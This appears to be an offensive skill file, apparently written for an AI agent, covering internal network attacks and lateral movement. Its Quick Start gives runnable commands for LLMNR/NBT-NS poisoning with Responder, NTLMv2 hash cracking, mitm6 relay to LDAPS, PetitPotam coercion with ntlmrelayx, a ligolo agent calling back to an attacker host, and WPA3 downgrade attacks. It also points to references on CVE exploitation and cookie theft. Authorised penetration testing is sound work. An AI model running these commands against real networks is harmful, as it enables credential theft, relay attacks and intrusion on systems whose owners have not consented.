Network Attack & Lateral Movement

When to Activate

• Internal network pentest from an unauthenticated wire position or initial foothold
• Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
• Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
• Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
• Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
• Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
• Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
• For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and ticket/DCSync work, hand off to active-directory-attack.

Technique Map

Quick Start

# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

OPSEC & Detection (summary)

Deep Dives

• references/l2-attacks.md — LLMNR/NBT-NS/mDNS poisoning (Responder, WebDAV pivot, NTLMv1 downgrade), ARP/DHCP spoofing, IPv6 takeover (mitm6 + ntlmrelayx, 2025 resurgence), STP root hijack & VLAN hopping (DTP, 802.1Q double-tag).
• references/coercion-relay-network.md — Relay-surface mapping (SMB signing/EPA, RelayKing), coercion (PetitPotam/PrinterBug/DFSCoerce/WebDAV + RPC Filter), NTLM relay to SMB/MSSQL/WinRM, CVE-2025-33073 NTLM reflection → SYSTEM. Hands AD targets to active-directory-attack.
• references/pivoting-tunneling.md — Ligolo-ng (TUN/gVisor, autoroute, v0.8 multiplayer, double-pivot, ligolo-mp), Chisel HTTP-SOCKS, SSH -D/-J, DNS tunneling (iodine/dnscat2), proxychains chaining, tool-selection matrix.
• references/mitm-interception.md — bettercap inline MitM, sslstrip (HSTS limits), DNS spoof, RDP MitM (PyRDP/Seth, NLA), STARTTLS stripping, SSH TOFU MitM, cookie/session theft.
• references/protocol-rce.md — CVE-2024-38077 MadLicense (RDL), CVE-2025-47981 NEGOEX (wormable), CVE-2025-21307 RMCAST, CVE-2025-24035/45 RDS, MS17-010 EternalBlue, MSSQL xp_cmdshell/link crawl, WinRM, LDAP passback.
• references/wireless-attacks.md — WPA2 handshake/PMKID crack, WPA3-Transition downgrade (Dragonblood; DragonShift/eaphammer, 2024-2025 reproductions), evil-twin WPA-Enterprise MSCHAPv2 capture, KRACK key-reinstallation, FragAttacks, WPS pixie-dust/online PIN brute, hashcat workflows. For non-Wi-Fi radio (Bluetooth/BLE, Zigbee, Z-Wave, LoRaWAN/Sub-GHz) see the wireless-rf skill.